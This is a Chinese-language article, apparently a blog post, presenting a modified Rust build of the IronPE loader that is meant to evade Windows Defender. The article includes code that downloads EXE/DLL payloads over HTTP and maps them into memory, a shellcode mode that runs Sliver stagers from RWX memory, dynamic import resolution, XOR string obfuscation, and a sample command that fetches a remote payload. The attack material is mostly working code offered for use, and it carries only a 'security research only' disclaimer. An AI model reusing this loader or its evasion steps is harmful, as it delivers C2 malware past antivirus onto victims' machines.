IronPE 修改版:通过内存加载PE文件绕过Windows Defender
IronPE 的修改版本支持通过 HTTP/HTTPS 将 PE 文件(EXE 或 DLL)直接加载到内存中,无需写入磁盘。这避免了在文件系统上留下痕迹,从而规避了 Windows Defender 的静态分析。该 Rust 实现采用手动映射技术,结合动态导入解析和字符串混淆。
IronPE 最初设计用于演示不使用 CreateProcess 或 LoadLibrary 等标准 API 的 PE 加载机制。此修改增加了基于网络的有效载荷加载和 shellcode 支持,同时保持合法的 WinAPI 调用。
关键代码更改
使用 reqwest 进行 HTTP 加载
为了从网络获取 PE 文件,集成了一个阻塞式 reqwest 客户端,模拟浏览器 User-Agent 并设置 120 秒超时。
fn fetch_from_url_reqwest(url: &str) -> Result<Vec<u8>, String> {
let client = reqwest::blocking::Client::builder()
.user_agent("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")
.timeout(std::time::Duration::from_secs(120))
.build()?;
let response = client.get(url).send()?;
let bytes = response.bytes()?.to_vec();
Ok(bytes)
}
执行命令:./ironpe --x64 http://server/payload.exe。字节数据被加载到内存中,不保存到磁盘。
Shellcode 支持
--shellcode 模式通过 VirtualAlloc 分配 RWX 内存,并将字节数据复制到该内存中直接执行。适用于 Sliver 等 stager。
"--shellcode" => {
let bytes = read_file_or_url(&args[2])?;
let ptr = VirtualAlloc(None, bytes.len(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
std::ptr::copy_nonoverlapping(bytes.as_ptr(), ptr as *mut u8, bytes.len());
let thread = CreateThread(None, 0, Some(std::mem::transmute(ptr)), None, 0, None);
WaitForSingleObject(thread?, INFINITE);
}
动态导入解析
IAT 被最小化:所有函数(VirtualAlloc、LoadLibrary、GetProcAddress、CreateThread)均在运行时解析。没有对注入或 LSASS 访问的静态引用,降低了检测风险。
字符串混淆
DLL 和函数名称以 XOR 加密字节形式存储。解密仅在执行期间进行。
fn decrypt(s: &[u8], key: u8) -> String {
s.iter().map(|&c| (c ^ key) as char).collect()
}
let kernel32 = decrypt(b"\x4b\x4f\x4c\x4d\x4e\x5a\x5b\x2b", 0x2a);
静态分析规避机制
该技术在 Windows 11 25H2 上有效,即使 Defender 实时和云保护开启。关键因素:
- 无磁盘操作:有效载荷(约 30 MB 的 Sliver beacon)不被保存。
- 合法 API:VirtualAlloc、LoadLibrary 等——安装程序常用。
- 空 IAT:动态调用隐藏可疑操作。
- Rust 语言:在恶意软件中罕见,YARA 规则较少。
- 网络阶段:静态扫描器无法预知有效载荷。
优势与限制
| 方面 | 原始 IronPE | 修改版 |
|--------|-----------------|-------------|
| 加载方式 | 本地文件 | HTTP/HTTPS |
| Shellcode | 不支持 | 支持,RWX 内存 |
| IAT | 部分动态 | 完全动态 |
| 字符串 | 明文 | XOR 混淆 |
| Defender 检测 | 可能 | 静态绕过 |
在 VPS 上使用 Python 服务器(端口 8081)测试时,Sliver 会话启动未触发 Defender 警报。
关键要点:
- 手动映射 + HTTP 消除了文件签名。
- 动态导入最小化静态痕迹。
- Rust 降低签名风险,但无法规避行为检测。
- 需针对 EDR 的 AMSI/ETW 监控进行优化。
- 仅供安全研究使用。
— Editorial Team
暂无评论。